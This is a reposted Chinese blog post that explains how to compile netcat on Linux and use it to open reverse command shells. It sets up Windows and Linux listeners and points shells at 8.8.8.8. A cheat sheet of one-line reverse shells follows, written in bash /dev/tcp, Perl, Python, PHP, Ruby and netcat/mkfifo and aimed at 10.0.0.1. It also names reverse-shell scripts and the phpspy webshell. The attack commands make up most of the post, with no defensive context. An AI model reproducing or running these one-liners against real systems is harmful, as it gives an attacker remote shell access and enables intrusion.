zoukankan      html  css  js  c++  java
  • 在linux下编译netcat并且反弹cmdshell(转载)

    本地Windows监听

    nc -vv -l -p 1234
     
    首先从sf上get一个tar的压缩包
    wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
    然后当然是解压了
    tar zxvf netcat-0.7.1.tar.gz
    解压完毕之后会生成目录,要cd进去
    cd netcat-0.7.1
    然后进行编译前的配置。
    ./configure
    配置完了之后就可以make编译了。 www.2cto.com
    编译成功就生成了netcat可执行的文件了,位于src目录,cd进去进行运行./netcat -h.如图
     
    本地Windows监听
    nc -vv -l -p 1234
     
     
    远程Windows转发 nc -t -e C:WINDOWSsystem32cmd.exe 8.8.8.8 1234
     
    远程Linux转发
    ./netcat 8.8.8.8 1234 -e /bin/sh
    ReverseShell.c
    ReverseShell.pl
    ReverseShell.py
    phpspy.php

     

    ———————NetCat for linux 参数e————————-
    wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
    tar zxvf netcat-0.7.1.tar.gz
    cd netcat-0.7.1
    ./configure
    make
    cd src
    ./netcat -h
    ——————————————————————–
     
     
     
    一句话反弹命令
    http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    [Bash]
    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
     
    [PERL]
    perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
     
    python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
     
    [PHP]
    php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’
     
    [Ruby]
    ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
     
    [Netcat]
    nc -e /bin/sh 10.0.0.1 1234
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  • 相关阅读:
    函数参数太多的一种简化方法
    laravel 获取所有表名
    使用 laravel 的 queue 必须知道的一些事
    git "refusing to merge unrelated histories" 解决方法
    使用 xhprof 进行 php 的性能分析
    php 性能优化
    js原生实现轮播图效果(面向对象编程)
    nextSibling 和nextElementSibling
    如何在页面中使用svg图标
    svg动画 animate
  • 原文地址:https://www.cnblogs.com/demonspider/p/3330093.html
Copyright © 2011-2022 走看看